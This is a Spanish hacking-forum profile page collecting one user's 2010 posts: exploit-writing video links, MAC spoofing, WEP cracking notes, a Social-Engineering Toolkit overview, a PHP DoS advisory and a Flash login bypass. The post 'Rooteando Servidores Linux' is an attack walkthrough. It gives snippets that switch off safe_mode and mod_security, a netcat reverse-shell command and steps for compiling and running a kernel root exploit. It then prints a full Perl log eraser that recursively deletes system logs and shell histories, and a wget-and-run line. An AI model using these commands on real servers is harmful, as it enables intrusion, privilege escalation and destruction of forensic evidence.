Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - RooT_Shell

#1
Hacking / Creando un exploit paso a paso :D
Julio 07, 2010, 12:58:24 AM
¿Cómo encontrar vulnerabilidades, escribir código shell,  aprovechar la vulnerabilidad encontrada y finalmente, convertirlo en un módulo de Metasploit?, son algunas de las interrogantes que alguna vez nos hemos realizado y David Hoelzer , Senior Fellow en el Instituto SANS  nos las resuelve con esta serie de vídeo tutoriales.

En los siguientes videoturiales, aprenderemos de la mano de David Hoelzer, como crear un Exploit paso a paso y convertirlo en un modulo de Metasploit para después utilizarlo con este excelente framework; aunque los vídeos se encuentran en ingles, son bastante prácticos y visuales, con lo que no tendremos ningún problema al seguirlos.

Videos:

Exploits - Part 1
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Exploits - Part 2 - 1
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Exploits - Part 2 - 2
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Exploits - Part 3 - 1
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Exploits - Part 3 - 2
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Exploits - Part 4 - 1
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Exploits - Part 4 - 2
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#2
Hacking / Tutorial Spoofing en Windows
Junio 30, 2010, 01:15:35 AM
¿Que es Spoofing?
es Suplantacion de Identidad
para mas informacion aca No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Objetivo: Suplantar Dirección IP y MAC

Preparación: una maquina con Windows
Conexión a Red
Tener una máquina para spoofearla.

Herramientas:Símbolo del Sistema
Etherchange.exe
Guía:

1) Abrimos un símbolo del Sistema y escribimos el siguiente comando Ipconfig /all > nombreArchivo.txt o si solo queremos ver la configuración y no guardarla en un archivo .txt solo damos Ipconfig /all

Ipconfig /all= Esta nos muestra la configuración completa de las tarjetas de red, nos muestra puerta de enlace, servidor DNS primario y secundario, configuración Proxy, etc.



2) vamos al directorio en mi caso C:\Documents and Settings\avanzado, y miramos que nuestro archivo RED.txt este en el directorio, esta seria la configuración de nuestra maquina.



3) hora entramos a la siguiente Web, http:// No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , estando hay nos vamos a Toolbox y descargamos la herramienta Etherchange.exe



4) después de haber descargado Etherchange.exe lo copian al directorio en mi caso C:\Documents and Settings\avanzado para ejecutarlo desde el símbolo de sistema. Y damos la opción número 1





5) en la siguiente opción también le damos la numero 1, para poner la MAC de la otra maquina y así suplantarla o spoofearla. La dirección MAC de la otra maquina ustedes ya la tienen que tener, la ponemos sin separaciones ni nada.
Ejemplo: 00218574D5CD



6) después de ponerla nos arroja un mensaje de que esa es nuestra

nueva dirección Ethernet.




7) si tenemos habilitado el DHCP debería también tomarnos la IP de la maquina a spoofear, si la tenemos estática la tendremos que cambiar a DHCP.

8) Ahora desactivamos y activamos el adaptador de red que estemos utilizando.




9) como podrán observar desde un principio mi MAC y mi IP eran estas. Pero,gracias al Etherchange las cambie.


10) ahora ejecutamos ipconfig /all para verificar que ya estamos navegando con la MAC y la IP de la maquina spoofeada.


y listo!!!!

no me hago responsable de la mala utilización de este tutorial.
espero les guste es creado por mi, cualquier pregunta me dicen.
lo pueden copiar eso si dandome creditos

salu2

fuente: mindcrack
#3
Con la proliferación de ofertas de ADSL+router inalámbrico la gran mayoría de las casas quecuentan con más de un ordenador, (bien sean varios sobremesas o algún portatil), opta por lasolución wireless, es decir, una solución óptima para no tener que tirar cable por la casa, con todo loque ello conlleva.Todo esto tiene una parte positiva, nos ahorramos los cables, los taladros y demás...pero claro,también tiene una parte negativa, la seguridad de nuestra red y nuestros equipos, que tal vez alusuario medio le dé igual, bien sea por desconocimiento (posiblemente esta es la mayor razón) obien por una actitud pasota del tipo "a mi me da igual, no tengo nada importante".Esta última respuesta tal vez sea la más usada, no es que guardemos proyectos de alto secreto, peronuestros equipos pueden ser usados para ataques DoS (Denegación de servicio) a modo de ejército.Yo, personalmente, creo que la seguridad en redes inalámbricas está tan olvidada porque los ISP(Internet Service Provider-Proveedor de Servicios de Internet), no hacen hincapié en que debemossecurizar un mínimo nuestra red.En mi caso, yo vivo en un bloque de edificios, concretamente en un segundo piso, pues bien, hepodido detectar 4 redes inalambricas, y tan solo una tiene encriptación WEP, las otras tres ni tienenencriptación ni filtrado MAC...(sigue)¿Qué es el filtrado MAC? ¿Qué es el MAC?, muy sencillo: Media Access Control address, esto es,"la dirección física de la tarjeta", los fabricantes de tarjetas nos aseguran que no hay ninguna tarjetaque tenga la MAC de otra, es decir, nuestra tarjeta es única.Pues el filtrado MAC de una red wireless viene a ser, "solo se conecta a esta red, la tarjeta con ladirección MAC tal: 00:XX:XX:XX:XX:XX".Como iba diciendo, creo que los ISP son responsables en parte de que haya tantas redes abiertas,pongo por caso, el bloque de vecinos en el que vivo, como anteriormente dije.El proveedor se limita a darte el router y su manual, y entiendo perfectamente que cuando alguienque no está interesado en el tema, que solo quiere navegar y leer el correo, ve terminos como WEP,MAC, ESSID etc, pues cierra el manual y lo guarda en un cajón, exactamente igual que hago yocon los manuales de motores de coches ;)Ahora vamos a describir ese término que tanto se usa, "encriptación WEP" y que puede securizar unpoco (muy poco, realmente) nuestra red.Hay que resaltar que es mejor tener el WEP que no tener nada.


¿Pero qué es el WEP? WEP, (Wired Equivalent Privacy) ¿vale y eso qué es?Muy sencillo, el cifrado WEP utiliza una clave secreta compartida y el algoritmo de cifrado RC4.El punto de acceso (PA) y todas las estaciones que se conectan a él deben utilizar la misma clavecompartida. Para cada paquete de datos enviado en una dirección, el transmisor combina elcontenido del paquete con una suma de comprobación del mismo.El estándar WEP solicita que el transmisor cree un vector de inicialización (VI) específico delpaquete, que se combina con la clave y se utiliza para cifrarlo.El receptor genera su propia clave correspondiente del paquete y la utiliza para descifrarlo. Enteoría, este enfoque es mejor que la táctica evidente de utilizar únicamente la clave secretacompartida, ya que agrega un bit de datos específico del paquete que hace más difícil la posibilidadde descifrarlo.Los routers actuales ofrecen varios tipos de longitud de cifrado, siendo el mayor de 128 bits, querealmente se queda en 104 bits, ya que el VI es de 24 bits.A priori, no se puede romper una clave WEP de 128 bits, pero en la práctica se puede y no requieremucho tiempo.



¿Y por qué puedo romper una clave de 128 Bits? Pues se puede romper de una forma muy sencilla,el IV deja al descubierto información sobre la clave WEP que se transmite, entonces, lo único quetenemos que hacer es poner un sniffer y obtener un número determinado de paquetes IV, que rondalos 500.000 para redes cifradas con 104 bits (que son "oficialmente" de 128 bits).Hay multitud de sniffers que son capaces de hacer esto, en Linux tenemos por ejemplo el Aircrack.A parte de tene el aircrack tenemos que poner nuestra tarjeta en modo promiscuo, es decir, queescuche todo lo que pasa por ella.Una vez hecho eso, corremos el aircrack:aircrack 2.1


Como se ha visto, el romper una clave WEP es cuestión de tiempo, no de dificultad.Bien, entonces ahora decimos, vale, el WEP es débil, pues vamos a decirle a nuestro router que anuestra red inalámbrica sólo se pueden conectar las direcciones MAC que yo quiera, genial.Haciendo esto, se supone que solo nuestra tarjeta de red podrá conectarse, para poder conectarse anuestra red, aparte de romper la clave WEP deberán robarme la tarjeta de mi equipo, ¿no?, nadamás alejado de la realidad, usando el sniffer podemos saber la MAC a la que van destinado lospaquetes que capturamos, solo es cuestión de saber cambiar la MAC de nuestra tarjeta, cosa nodificil por cierto, mirar este extracto del manual del ifconfig (ifconfig es para tarjetas pci o ISA, nopara wireless, pero si buscais un poco sabreis cómo cambiar la MAC de vuestra tarjeta)hw class addressSet the hardware address of this interface, if the device driver supports this operation.Como veis, la limitación por MAC es fácil de superar también. Bien, una vez tenemos todos losdatos supuestamente dificiles para entrar a la red, sólo nos falta obtener los datos de red, para poderconectarnos como un equipo más.Aquí es donde viene el colmo de la seguridad, porque en el caso de mi bloque, las 3 redes que no van con cifrado, ni WEP ni MAC, tienen el router asignando ips con DHCP



¿qué es DHCP?Dynamic Host Configuration Protocol, es un protocolo de red en el que un servidor provee losparámetros de configuración a los equipos conectados, les da su puerta de enlace, dirección ip,dirección de multidifusión y servidores DNS, es decir, para obtener esa red...¡¡solo tengo que estaren su radió de emisión!!, lamentable. Para la otra red, la que está con WEP, pues simplemente tengoque meter los datos a mano, pero después de sniffear su conexión, son datos que apenas nossuponen problema, sabemos la dirección, con lo cual, la gateway la sacamos por lógica, una veztenemos eso, ya estamos en su red, podemos ver sus equipos, sus recursos compartidos y todo loque circule por ella.Una vez dentro de una red privada, pues, realmente las posibilidades de hacer daños son enormes,sacar contraseñas está a la orden del día, por métodos muy sencillos, que no vienen al caso, peroque está ahí.Tal vez en una red domestica lo más que podríamos obtener son las contraseñas del correo, pero enuna red corporativa...los daños serían brutales.¿Y entonces cómo podemos asegurar nuestra red inalambrica para que no entre nadie? Puesverdaderamente no podemos, si alguien quiere entrar entrará.Lo más que podemos hacer es tomar las mayores medidas de seguridad posibles, que son:1-Encriptación WEP de 128 usando claves no contiguas en el teclado y alternando mayúsuculas yminusculas y cambiarla regularmente.2-Filtrando MACs.3-Quitar dhcp.4-Cambiar el SSID por defecto.Con este documento se pretende concienciar a la gente sobre lo poco segura que son las redesinalámbricas, y en ningun caso se pretende enseñar a entrar en una red privada, que es un delito, poreso, el autor no se hace responsable del mal uso de este documento.Artículo escrito por Manuel Aróstegui Ramírez (Manssson) que es miembro del Staff de Todo-Linux.com.Este artículo se puede copiar y modificar, siempre y cuando se notifique al autor: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#4
Una de las técnicas empleadas por un atacante durante la fase de reconocimiento es la ingeniería social.

Manipular a las personas para ganar su confianza y obtener acceso a su sistema logrando que nos revele información confidencial es todo un arte. En muchas ocasiones puede resultar más fácil engañar al usuario que encontrar una vulnerabilidad en el sistema.

Todos conocemos la frase: "el usuario es el eslabón más débil", aprovechar sus debilidades para lograr que nos revele la clave de acceso a su sistema o abra un pdf, no es una tarea muy complicada. ¿Quién se resiste a un pdf que contiene un calendario de fotos de chicas sexys? o un supuesto administrador de la red, que nos llama con un número que parece de nuestra compañía utilizando las técnicas de spoofing de números de teléfono y nos informa que ha detectado una infección en nuestra máquina y necesita nuestra contraseña para revisar el problema.

Uno de los expertos en este arte es Kevin Mitnik, quien asegura que aunque los usuarios sigan unas políticas de seguridad, nuestra naturaleza humana nos hace vulnerables. ¿Quién no siente la necesidad de ayudar a un supuesto administrador de sistemas que se ha ganado nuestra confianza previamente?

Desde Metasploit nos presentan The Social-Engineering Toolkit (SET) que fue diseñado para el proyecto Social-Engineering Framework.

Podemos descargarlo desde nuestra Back|Track 4 mediante:
*** hidden content ***

Esta toolkit incorpora en una interfaz sencilla varios ataques de ingeniería social, con el propósito de automatizar y mejorar muchos de los ataques que existen en la actualidad.

Permite realizar ataques de tipo:

   1. Ataques vía e-mail
   2. Vector de ataques a sitios web

Además nos da la opción de actualizar nuestro Framework de Metasploit, nuestro Toolkit y la posibilidad de crear nuestro propio Payload y Listener.

Podríamos hacer uso de otra de las técnicas de reconocimiento, como es el Google Hacking y obtener una lista de e-mails de una organización. Seleccionaríamos por ejemplo el ataque mediante e-mail, que nos permitirá crear un pdf que contiene un exploit. Una vez el usuario abre el pdf, el payload se ejecutará y se creará una conexión que nos permitirá acceder a la shell de su máquina.



Otra opción sería llevar al usuario a una página web que muestra un error, y para funcionar necesita cargar un applet, al aceptarlo el applet actúa como troyano.



En definitiva, un proyecto muy interesante en el que solo se echa de menos la posibilidad de escoger los mensajes en otros idiomas aparte del Inglés.

mas informacion aqui:



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
y
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#5
Hacking / Denegacion de servicio en PHP 5.3.*
Junio 25, 2010, 05:51:18 PM
Denegación de servicio a través de la función "php_dechunk" en PHP 5.3.x
------------------------------------------------------------------------

Stefan Esser, conocido investigador de seguridad especializado en
vulnerabilidades en el lenguaje de programación PHP, ha descubierto
un fallo en la última versión publicada.

Se trata de un error de desbordamiento de entero en la función
"php_dechunk" de "ext/standard/filters.c" al procesar ciertas peticiones
HTTP. Esta función se usa para decodificar fragmentos (chunks)
codificados de un flujo HTTP.

La función efectúa una comparación del tamaño del fragmento a
decodificar y el búfer reservado, empleando para ello un entero
con signo, "chunk_size", miembro de la estructura
"_php_chunked_filter_data".

El uso de un entero positivo interpretado como negativo podría provocar
la copia de datos, entre memorias intermedias reservadas en el heap, de
tamaño entre 2 y 4 Gb, resultando en una corrupción de memoria y
provocando que la aplicación deje de responder.

Esto podría permitir a un atacante remoto causar una denegación de
servicio a través de peticiones HTTP especialmente manipuladas.

Según Esser, son vulnerables las versiones inferiores de la 5.3.2 a
la 5.3 incluidas. No existe parche para esta vulnerabilidad.


Más información

MOPS-2010-003: PHP dechunk Filter Signed Comparison Vulnerability



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#6
Rooteando Servidores Linux


  • ¿Que es el Rooteo?
  • ¿Que son las WebShells?
  • Permisos.
  • Directiva PHP: safe_mode y forma de aludirla.
  • Consiguiendo una Shell Inversa.
  • Kernel Attack.
  • Borrando logs: zapper en perl.
1 - ¿Que es el Rooteo?

Bien, el Rooteo proviene de la palabra Root, que en ámbitos Linux o Unix se refiere a un Super Usuario el cual posee y ejerce todos los poderes sobre un sistema, tiene permisos de lectura, escritura, ejecución... bajo cualquier circunstancia, de lo que se deduce:

Rooteo = Administrar un sistema con todo privilegio.

El rooteo se realiza mediante el uso de una WebShell (explicado lo que es más abajo), ya haya sido alojada mediante SQLi, RFI, LFI, Xss, hasta un Ataque Flash


2 - ¿Que es una WebShell?

Como su nombre nos indica, Web (de página web) y Shell (línea de comando), es una línea de comando alojada sobre una web que permite ejecutar código (comandos de toda la vida, rm, ls, ping, etc [en linux]) sobre el servidor en el que está alojada.

Están programadas en PHP, gracias a esa funcion de PHP permiten ejecutar código sobre el servidor.

Existen muchas y muy conocidas, C99, R57, Locus, Ajax, N3tSh3ll, en fin, una infinidad, a la hora de trabajar con ellas son muy intuitivas, es como manejarse en un WebFtp pero con más "pecaminosas funciones"


3 - Permisos

Cuando estamos en una WebShell, a la derecha de cada archivo vemos unas letras de este tipo, drwx-r-x

r - Lectura
x - Ejecución
d - Directorio
w - Escritura
- - No hay permiso


4 - Directiva PHP: safe_mode y forma de aludirla

Bien, este punto es muy importante cuando manejamos una WebShell, ya que es la directiva que nos va a dejar trabajar tranquilos, comprueba muchas cosas por razones de seguirdad, las cuales podeis saber que hacen aquí... Esta funcion viene deshabilitada por defecto, pero si os encontrais con ella activada haced lo siguiente:

La forma de aludirlo es subir al mismo path donde se encuentra nuestra WebShell un archivo de configuracion de directivas php, de nombre php y extensión .ini, es decir php.ini.

El código del .ini en cuestión es este:
Código: php
register_globals = On
engine = On
safe_mode = Off
safe_mode_exec_dir = On
Safe_mode_include_dir = On
Bien, ya hemos mandado a paseo al safe_mod

Otra cosa, cuando esteis sobre un servidor que sea Apache (lo más normal es que si), tambien necesitareis aludir el mod_security que no se muy bien por qué todavía, cuando esta funcionando no me deja trabajar bien.

En este caso, debemos buscar por todo el directorio de apache o de la web, un fichero que se llame .htaccess.

.htaccess (Acceso de Hiper-Texto) es el nombre por defecto del archivo de configuración de directorios de Apache. Provee de la habilidad para personalizar la configuración de las directivas definidas en el archivo de configuración principal. Las directivas de configuración necesitan estar en el contexto de .htaccess y el usuario necesita los permisos apropiados. Fuente
Bueno, en la WebShell haceis click, y dentro de el añadis (sin borrar nada) estas lineas de codigo (sin borrar nada XD):
Código: php
<IfModule mod_security.c>
SecFilterEngine OFF
SecFilterScanPort OFF
SecFilterCheckURLEncoding OFF
SecFilterCheckUnicodeEncoding OFF
</IfModule>

5 - Consiguiendo una Shell Inversa

Bueno, esto de conseguir la Shell es opcional, pero es más comodo manejar la shell remota desde la nuestra.

Para eso nos haremos mano de NetCat

Shell Inversa
Aquí es donde entran en juego los BackDoors normalmente codeados en Perl.

Bueno, su uso no es complicado, en el code como se puede ver tenemos dos if, depende de cual se declare al usar el BackDoor ejecutará /bin/sh (shell de linux) o cmd (shell de Windows) hacia el NetCat que esté a la escucha.

¿Que lio, verdad?
No es para tanto, lo que hace ese BackDoor, es enviar una Shell ya bien sea de Linux o Windows hacia la Ip y Puerto que le hayamos especificado, hace lo mismo que si ejecutasemos nc -d -e /bin/sh TuIp Puerto, pero la pega esque a veces NetCat no viene instalado en ese tipo de sistemas, pero si perl

¿Como usarlo?
Pregunta de oro.

Es fácil, nosotros, al ser una shell inversa debemos abrir nuestra shell y colocar:
Código: php
nc -v -L -p 80
Eso en nuestra shell, la que tenemos en Inicio, Ejecutar en el caso de Windows, y Aplicaciones, Accesorios en caso de Linux.

Guay, nosotros ya estamos escuchando con NetCat conexiones entrantes, ahora con el code previamente proporcionado (el del BackDoor BackFos) abrimos un editor de texto cualquiera y lo llamamos como queramos .pl, por ejemplo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, lo subimos con la WebShell al directorio /tmp de Linux y lo ejecutamos como bien pone en el código.

Si todo sale bien deberiamos recibir la shell donde teniamos a NetCat escuchando.

Por ahora vamos bien, tenemos la Shell de un servidor Linux com muestra la imagen (alcaro que el backdoor de la foto no es BackFoS) :

Peeeeeeeeeeeee eeeeeero, no somos root, por lo cual estamos muy limitados, tenemos solo control parcial sobre el servidor.
Para remediar eso, debemos hacer lo que se denomina un Kernel Attack.



6- Kernel Attack
¿Qué es el Kernel?
Kernel es el Núcleo de un SO, es la parte más interna de un SO, la que permite hacer funcionar el HardWare, SoftWare, cargar Drivers, en Fin, lo fundamental para que una máquina funcione.
Una imagen vale más que mil palabras XD

Bueno, si sabemos que es el Kernel, sabremos que Kernel Attack es algo que ataca al Kernel para poder sacar beneficios.

Eso se realiza mediante Root Exploits, son exploits locales, es decir, que se los cambios se realizan donde fue ejecutado, no remotamente, normalmente programados en C que aprovechan una grave vulnerabilidad del Kernel que use un Sistema Operativo para conseguir dejarnos acceso como root.
Existe un exploit para casi todos los Kernel de Linux.

Para saber que Kernel (no SO) corre un Sistema Operativo Linux, deberemos cojer la shell que hemos recibido cuando escuchabamos y ejecutar lo siguiente:
Código: php
uname -r
De lo que nos devolvería esto:
Código: php
Linux hostname 2.6.24-19-server #1 SMP Sat Jul 12 00:40:01 UTC 2008 i686 GNU/Linux
Bien, examinemos lo que nos dijo:
Linux Hostname - Nombre del Servidor
2.6.24-19 - Versión de Kernel, eso es lo que nos Interesa.

Bien, ahora deberemos hacer mano de Google, e introducir una búsqueda tal que así:
Bueno, cuando tengamos el Exploit, abriremos un editor de texto, pegaremos el code del Root Exploit, y lo guardaremos como lo que sea .c, ejemplo, root.c.

Bien, ahora tenemos que buscar en la WebShell un directorio donde tengamos permisos de ejecucion de archivos.

Leyendo por Internet ví que en /tmp normalmente hay permisos de ejecucion, lectura, escritura y todo eso, así que debemos de introducir:
Código: php
cd /tmp
De forma que nos situemos en el directorio tmp de Linux.
Ahora agarramos la WebShell y en las opciones de abajo nos dirigimos a /tmp.

Dejamos de lado la webshell y nos vamos a nuestro ordenador, bajamos el codigo del rootexploit y lo guardamos como root.c, por ejemplo; después nos situimos con nuestra shell en el directorio que esté el root.c, y lo compilamos y lo dejamos binario, es decir, ejecutable:
Código: php
gcc root.c -o rootexploit
Ahí lo compilamos.

Ahora a la webshell otra vez:
Código: php
id
De lo que nos debe devolver uid=numeros(nombre), esa es la Id que teneis ahora, que no es root.

Después de ello subimos el archivo binario que nos dejo, que se debe llamar rootexploit mediante la webshell y darle permisos:
Código: php
chmod -c 777 rootexploit
Damos permisos 777, lectura, escritura, ejecucion, etc, para que pueda realizar su cometido.
De lo que devolverá mode of `rootexploit' changed to 0777 (rwxrwxrwx).
Código: php
./rootexploit
De lo que nos devolverá códigos como 0x02 etc...
Después, cuando haya terminado:
Código: php
id
Si nos devuelve uid=0(root)...
Código: php
whoami
Si nos devuelve root...

¡Hemos Rooteado el servidor!
¡Lo estamos administrando!
¡Podemos incluso apagarlo!




[SIZE="4"]7 - Borrando logs: zapper en perl[/SIZE]

Como ahora ya tenemos permisos de escritura, lectura, ejEcucion (root), podemos borrar los logs que quedaron estén en el directorio en el que estén, mediante este Zapper en Perl.

Código: php
#########################################################################################################
#                                          log eraser MSRLE v0.1                                        #
#                                                                                                       #
#                                             coded by PRI[ll                                           #
#                                                                                                       #
#                                                03/07/2005                                             #
#                                                                                                       #
#                              Morocco.security.rulz /s irc.gigachat.net -j #MSR                        #
#                                                                                                       #
#                             usage you should run this tool as root (sure =))) exemple:               #
#                                                                                                       #
#                      [root@MOROCCO:/root]# wget www.go0gler.com/MSRLE;chmod 777 MSRLE;./MSRLE         #
#                      !!!!! MSRLE v0.1!!!!!                                                            #
#                      !!!!coded by PRI[ll!!!!                                                          #
#                      [*]erasing default log files (too fast =))                                       #
#                      [*]/var/log/lastlog -erased Ok                                                   #
#                      [*]/var/log/wtmp -erased Ok                                                      #
#                      [*]/etc/wtmp - No such file or directory                                         #
#                                                                                the_r00t3er wuopa, no se pueden poner mailss#
#########################################################################################################
#!usr/bin/perl
use strict;
print "!!!!! MSRLE v0.1!!!!!\n";
print "Morocco.Security.Rulz.Log.Eraser\n";
print "!!!!coded by PRI[ll!!!!\n";
system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
if( -e "/var/log/lastlog" )
{
   system 'rm -rf /var/log/lastlog';
   system "echo -e \"\\033[01;37m [*]/var/log/lastlog -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/log/wtmp" )
{
   system 'rm -rf /var/log/wtmp';
   system "echo -e \"\\033[01;37m [*]/var/log/wtmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/etc/wtmp" )
{
   system 'rm -rf /etc/wtmp';
   system "echo -e \"\\033[01;37m [*]/etc/wtmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/run/utmp" )
{
   system 'rm -rf /var/run/utmp';
   system "echo -e \"\\033[01;37m [*]/var/run/utmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/etc/utmp" )
{
   system 'rm -rf /etc/utmp';
   system "echo -e \"\\033[01;37m [*]/etc/utmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/log" )
{
   system 'rm -rf /var/log';
   system "echo -e \"\\033[01;37m [*]/var/log -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/logs" )
{
   system 'rm -rf /var/logs';
   system "echo -e \"\\033[01;37m [*]/var/logs -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/adm" )
{
   system 'rm -rf /var/adm';
   system "echo -e \"\\033[01;37m [*]/var/adm -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/apache/log" )
{
   system 'rm -rf /var/apache/log';
   system "echo -e \"\\033[01;37m [*]/var/apache/log -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/apache/logs" )
{
   system 'rm -rf /var/apache/logs';
   system "echo -e \"\\033[01;37m [*]/var/apache/logs -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/usr/local/apache/log" )
{
   system 'rm -rf /usr/local/apache/log';
   system "echo -e \"\\033[01;37m [*]/usr/local/apache/log -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/usr/local/apache/logs" )
{
   system 'rm -rf /usr/local/apache/logs';
   system "echo -e \"\\033[01;37m [*]/usr/local/apache/logs -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/root/.bash_history" )
{
   system 'rm -rf /root/.bash_history';
   system "echo -e \"\\033[01;37m [*]/root/.bash_history -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\"\n";
}
if( -e "/root/.ksh_history" )
{
   system 'rm -rf /root/.ksh_history';
   system "echo -e \"\\033[01;37m [*]/root/.ksh_history -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\"\n";
}
system "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n";
system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
system 'find / -name *.bash_history -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.bash_history files -erased Ok!\"\n";
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.bash_logout files -erased Ok!\"\n";
system 'find / -name log* -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all log* files -erased Ok!\"\n";
system 'find / -name *.log -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.log files -erased Ok!\"\n";
system "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n";


Como ya sabemos, le damos permisos 777 y perl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#7
Hacking / ..::[Manual Basico Metasploit]::..
Junio 18, 2010, 02:00:39 AM
]

Creador TheJez

1) Conceptos Basicos
2) Modalidades
3) Comienzos
4) Exploits
5) Actualizar


Para empezar a hablar del metasploit, lo definiremos como una herramienta GNU
escrita en perl y con utilizacion de diversos lenguajes de programacion como C, Python,
ASM ,etc, para el desarrollo, testeo, mejora y penetracion a diversos sistemas, entre
ellos Windows.
Metasploit se ejecuta bajo una consola CYGWIN y trabaja con una base de datos en la
cual se encuentran toda la lista de exploits y vulnerabilidades, lo unico que tenemos que
indicarle a metasploit es que vulnerabilidad utilizaremos, que sistema atacaremos, que
tipo de ataque utilizaremos y datos diversos que utilizara para atacar al host.
Se llama Metasploit Framework por que es todo un entorno de testeo para diversas
plataformas, la cual trabaja con librerias, bases de datos, y diversos programas, shell
codes, etc. Por tal deja de ser un simple software si no un framework.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: sn0x level-23
#8
Hacking / Video tutorial bypass logins en flash
Mayo 18, 2010, 11:30:48 PM
Tutorial muy sencillo de como hacer bypass con contraseña a un login en flash.

muy básico, y de uso muy extendido

En este videotutorial vermos como obtener las contraseñas o hacer un bypass a algunos logins creados en flash, en los que desarrollador web cuando llegó la hora de pensar en la seguridad, decidió fumar algun tipo de hierba olorosa....

crear logins e incluir pass y user  en el propio código , es como vereis en el video un problema grave de seguridad.

Pasos seguidos en el video.

Primero localizamos el objectivo con el todopoderoso inurl:

inurl:login.swf,

usaremos flasm, como desensamblador.

bajaremos el archivo login, con wget ruta archivo flash,

y desemsamblamos con ./flasm -d login.swf.

Miramos el código y voila, nuestro user y pass, ya podremos acceder al contenido protegido..

Video:

Código: php
http://www.youtube.com/watch?v=8SXXg4Cm5YI






No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#9
Vamos a ver que hay muchos tipos de scaneos de puertos, no es uno solo, hay algunos mas silenciosos que otros, otros mas efectivos. Todos se basan en un conocimiento profundo de TCP/IP.




Introducción a TCP/IP


Los protocolos basados en TCP, son protocolos orientados a conección. Esto quiere decir, que hay todo un proceso para armar la conección, recien ahi se empiezan a mandar los paquetes necesarios (la información que se tenian que mandar) y luego terminan la conección. Esto hace que los protocolos basados en TCP sean mas lentos, que los protocolos basados en UDP (no vamos a hablar de UDP/IP ahora, pero lo que tienen que saber, es que los protocolos basados en UDP, no arman una conección previamente a mandar los datos necesarios, si no que los mandan a lo 'bruto' sin fijarse si el receptor esta en condiciones de recivirlos o no).


Vamos a profundizar un poco mas en esto de como se maneja el protocolo TCP/IP.

Cuando ustedes necesitan hablar con alguien por msn, y pedirles algo, generalmente primero lo saludan, esperan el saludo de la otra persona, luego de eso (y al asegurarse que del otro lado del msn hay una persona escuchandolos) le dicen lo que necesitan, y su comunicación termina con una despedida. Aunque siempre se encuentran maleducados en la vida ¬¬ (en la informatica, es microsoft ....)

En TCP/IP es lo mismo. El proceso es asi:

1. Petición de conección --> Persona A
2. <-- Conección aceptada Persona B
3. <-- Ida y vuelta de datos -->
4. Cierre de conección



Por otro lado, les voy adelantando que en UDP/IP, el esquema seria este:

Persona A <-- Ida y vuelta de datos --> Persona B



Los paquetes TCP/IP son estructurados, y esta es la estructura de su cabecera de datos:


| Puerto Origen | Puerto Destino |

| Numero de Secuencia |

| Numero de Confirmación           |

|Comienso de | |U|A|P|S|F|       |
| Datos | |R|C|S|Y|I| Ventana   |
| | |G|K|H|N|N|                       |

| Suma de | Puntero de             |
| Comprobación | Urgencia         |

| Datos                                   |



Asi se organizan las cabeceras de los paquetes TCP/IP que circulan por nuestra PC Wink
